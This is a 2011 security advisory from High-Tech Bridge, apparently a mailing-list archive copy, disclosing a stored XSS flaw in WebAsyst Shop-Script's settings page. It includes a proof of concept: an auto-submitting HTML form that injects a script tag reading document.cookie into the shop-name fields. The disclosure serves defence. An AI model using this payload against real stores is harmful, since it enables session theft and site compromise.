[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22818: Stored XSS vulnerability in WebAsyst Shop-Script



Vulnerability ID: HTB22818
Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webasyst_shop_script.html
Product: WebAsyst Shop-Script
Vendor: WebAsyst, LLC ( http://www.shop-script.ru/ ) 
Vulnerable Version: Current version 2011.01.23 (shop-script.ru/demo/)
Vendor Notification: 25 January 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "SC/html/scripts/index.php" script to properly sanitize user-supplied input in "settingCONF_SHOP_NAME_en" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/SC/html/scripts/index.php?ukey=bsettings&settings_groupID=2"; method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="uri" value="http://1"; />
<input type="hidden" name="settingCONF_SHOP_NAME_ru" value='shopname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="settingCONF_SHOP_NAME_en" value='shopname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="settingCONF_SHOP_URL" value="klyne.webasyst.net/shop/">
<input type="hidden" name="settingCONF_GENERAL_EMAIL" value="klyne19@xxxxxxx">
<input type="hidden" name="settingCONF_ORDERS_EMAIL" value="klyne19@xxxxxxx">
<input type="hidden" name="settingCONF_ENABLE_CONFIRMATION_CODE" value="1">
<input type="hidden" name="setting_DATEFORMAT" value="DD.MM.YYYY">
<input type="hidden" name="setting_CONF_STOREFRONT_TIME_ZONE" value="51">
<input type="hidden" name="setting_CONF_FIRST_WEEKDAY" value="0">
<input type="hidden" name="settingCONF_DEFAULT_TITLE_ru" value="klyne">
<input type="hidden" name="settingCONF_DEFAULT_TITLE_en" value="klyne - Online Store">
<input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_ru" value="">
<input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_en" value="">
<input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_ru" value="">
<input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_en" value="">
<input type="hidden" name="settingCONF_GOOGLE_MAPS_API_KEY" value="">
<input type="hidden" name="settingCONF_WAREHOUSE_ADDRESS" value="">
<input type="hidden" name="setting_CONF_PRINTFORM_COMPANY_LOGO" value="">
<input type="hidden" name="save" value="Save">

</form>
<script>
document.main.submit();
</script>